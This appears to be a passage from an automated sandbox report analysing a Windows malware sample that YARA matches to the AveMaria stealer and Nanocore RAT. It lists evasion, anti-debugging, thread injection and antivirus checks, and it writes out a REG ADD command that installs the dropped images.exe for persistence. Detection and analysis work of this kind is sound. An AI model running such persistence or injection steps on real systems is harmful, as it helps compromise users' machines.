Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Contains functionality to enumerate running services
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: OpenSCManagerW,EnumServicesStatusExW,EnumServicesStatusExW,GetLastError,CloseServiceHandle,OpenSCManagerW,lstrcmpW, 7_2_0040D8FB
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\images.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\cmd.exe Window / User API: threadDelayed 662 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Window / User API: threadDelayed 6638 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Window / User API: threadDelayed 2297 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\ProgramData\images.exe Dropped PE file which has not been started: C:\Program Files\Microsoft DN1\sqlmap.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe TID: 1064 Thread sleep time: -42849s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe TID: 5728 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe TID: 2528 Thread sleep count: 70 > 30 Jump to behavior
Source: C:\ProgramData\images.exe TID: 5560 Thread sleep time: -46689s >= -30000s Jump to behavior
Source: C:\ProgramData\images.exe TID: 4840 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\images.exe TID: 3448 Thread sleep count: 70 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe TID: 5036 Thread sleep count: 662 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe TID: 5036 Thread sleep time: -7944000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe TID: 992 Thread sleep time: -38920s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe TID: 4784 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe TID: 1320 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 2736 Thread sleep time: -46806s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 720 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00411446 FindFirstFileW,FindNextFileW, 7_2_00411446
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA, 7_2_0040955B
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0041154A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW, 7_2_0041154A
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Thread delayed: delay time: 42849 Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\images.exe Thread delayed: delay time: 46689 Jump to behavior
Source: C:\ProgramData\images.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Thread delayed: delay time: 38920 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Thread delayed: delay time: 46806 Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: images.exe, 00000016.00000002.474849931.0000000000E2B000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAWHh
Source: images.exe, 00000016.00000002.474949211.0000000000E50000.00000004.00000020.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\oyGG
Source: reg.exe, 0000000B.00000002.252269957.0000000002E30000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.483465858.0000000006DD0000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: images.exe, 00000016.00000002.474949211.0000000000E50000.00000004.00000020.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oy
Source: images.exe, 00000016.00000002.475068084.0000000000E83000.00000004.00000020.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:OO3
Source: images.exe, 00000016.00000003.309020359.0000000000E50000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: reg.exe, 0000000B.00000002.252269957.0000000002E30000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.483465858.0000000006DD0000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: reg.exe, 0000000B.00000002.252269957.0000000002E30000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.483465858.0000000006DD0000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Xjf4yH9N2t.exe, 00000007.00000003.251342778.0000000000FDE000.00000004.00000001.sdmp, images.exe, 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: images.exe, 00000016.00000002.475068084.0000000000E83000.00000004.00000020.sdmp Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\
Source: reg.exe, 0000000B.00000002.252269957.0000000002E30000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.483465858.0000000006DD0000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Windows\system32\drivers\tsusbhub.sys System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_004060B0 LoadLibraryA,GetProcAddress,ExitProcess, 7_2_004060B0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00426222 mov eax, dword ptr fs:[00000030h] 7_2_00426222
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0041EB27 mov eax, dword ptr fs:[00000030h] 7_2_0041EB27
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00411B38 mov eax, dword ptr fs:[00000030h] 7_2_00411B38
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00411B3F mov eax, dword ptr fs:[00000030h] 7_2_00411B3F
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00411E6D mov eax, dword ptr fs:[00000030h] 7_2_00411E6D
Source: C:\Windows\SysWOW64\cmd.exe Code function: 24_2_001F001A mov eax, dword ptr fs:[00000030h] 24_2_001F001A
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00406045 GetProcessHeap,RtlAllocateHeap, 7_2_00406045
Enables debug privileges
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process token adjusted: Debug Jump to behavior
Source: C:\ProgramData\images.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Allocates memory in foreign processes
Source: C:\ProgramData\images.exe Memory allocated: C:\Windows\SysWOW64\cmd.exe base: 1F0000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\images.exe Memory allocated: C:\Windows\SysWOW64\cmd.exe base: 660000 protect: page read and write Jump to behavior
Contains functionality to inject threads in other processes
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00407B2E OpenProcess,GetCurrentProcess,MessageBoxA,VirtualAllocEx,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread, 7_2_00407B2E
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00407D5E OpenProcess,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread, 7_2_00407D5E
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00413F7F RegSetValueExA,OpenProcess,GetCurrentProcessId,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, 7_2_00413F7F
Creates a thread in another existing process (thread injection)
Source: C:\ProgramData\images.exe Thread created: C:\Windows\SysWOW64\cmd.exe EIP: 1F010E Jump to behavior
Writes to foreign memory regions
Source: C:\ProgramData\images.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: 1F0000 Jump to behavior
Source: C:\ProgramData\images.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: 660000 Jump to behavior
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, explorer.exe 7_2_0041405F
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe' Jump to behavior
Source: C:\ProgramData\images.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe Jump to behavior
Source: C:\ProgramData\images.exe Process created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe 'C:\Users\user\AppData\Roaming\KetqqsbuJ.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00412E91 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,RegCreateKeyExA,RegCloseKey,SetLastError, 7_2_00412E91
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00410A8C AllocateAndInitializeSid,LookupAccountSidW,GetLastError,FreeSid, 7_2_00410A8C
Source: images.exe, 00000016.00000002.474949211.0000000000E50000.00000004.00000020.sdmp Binary or memory string: Program Manager
Source: KetqqsbuJ.exe, 00000028.00000002.479588850.00000000030AE000.00000004.00000001.sdmp Binary or memory string: Program ManagerH
Source: images.exe, 00000016.00000002.475259759.0000000001490000.00000002.00000001.sdmp, cmd.exe, 00000018.00000002.476330186.0000000003400000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.478630114.0000000002EA3000.00000004.00000001.sdmp Binary or memory string: Program Manager
Source: images.exe, 00000016.00000002.481006617.0000000004240000.00000040.00000001.sdmp Binary or memory string: GetProgmanWindow
Source: images.exe, 00000016.00000002.475259759.0000000001490000.00000002.00000001.sdmp, cmd.exe, 00000018.00000002.476330186.0000000003400000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.475765757.00000000014D0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: images.exe, 00000016.00000002.475259759.0000000001490000.00000002.00000001.sdmp, cmd.exe, 00000018.00000002.476330186.0000000003400000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.475765757.00000000014D0000.00000002.00000001.sdmp Binary or memory string: Progman
Source: KetqqsbuJ.exe, 00000028.00000002.483732291.00000000074EC000.00000004.00000001.sdmp Binary or memory string: Program Manager@@x
Source: KetqqsbuJ.exe, 00000028.00000002.482420960.0000000005C1A000.00000004.00000001.sdmp Binary or memory string: Program Managerram Manager
Source: KetqqsbuJ.exe, 00000028.00000002.483706311.00000000073AC000.00000004.00000001.sdmp Binary or memory string: ulProgram Manager
Source: images.exe, 00000016.00000002.475259759.0000000001490000.00000002.00000001.sdmp, cmd.exe, 00000018.00000002.476330186.0000000003400000.00000002.00000001.sdmp, KetqqsbuJ.exe, 00000028.00000002.475765757.00000000014D0000.00000002.00000001.sdmp Binary or memory string: Progmanlock
Source: KetqqsbuJ.exe, 00000028.00000002.482674777.000000000609B000.00000004.00000001.sdmp Binary or memory string: Program Managerram Manager
Source: images.exe, 00000016.00000002.480389563.0000000003E0E000.00000004.00000001.sdmp Binary or memory string: RProgram Manager%
Source: images.exe, 00000016.00000002.472620170.0000000000559000.00000040.00000001.sdmp Binary or memory string: C:\Users\user\AppData\Local\Microsoft Vision\02-08-2021_10.17.46{Program Manager}
Source: images.exe, 00000016.00000002.481006617.0000000004240000.00000040.00000001.sdmp Binary or memory string: SetProgmanWindow

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00410E5E cpuid 7_2_00410E5E
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Queries volume information: C:\Users\user\Desktop\Xjf4yH9N2t.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\ProgramData\images.exe Queries volume information: C:\ProgramData\images.exe VolumeInformation Jump to behavior
Source: C:\ProgramData\images.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\ProgramData\images.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\ProgramData\images.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\ProgramData\images.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Queries volume information: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00408D0F GetModuleHandleA,SHGetFolderPathW,lstrcatW,lstrcatW,CreateDirectoryW,lstrcpyW,lstrcatW,GetLocalTime,wsprintfW,CreateFileW,CloseHandle,RegisterClassW,CreateWindowExW,GetMessageA,GetMessageA,TranslateMessage,DispatchMessageA,GetMessageA, 7_2_00408D0F
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Increases the number of concurrent connection per server for Internet Explorer
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Registry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings MaxConnectionsPerServer 10 Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct

Stealing of Sensitive Information:

barindex
Yara detected AveMaria stealer
Source: Yara match File source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248863856.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295297154.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248772250.0000000000FD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248878230.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295398863.0000000000E28000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e8db04.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.raw.unpack, type: UNPACKEDPE
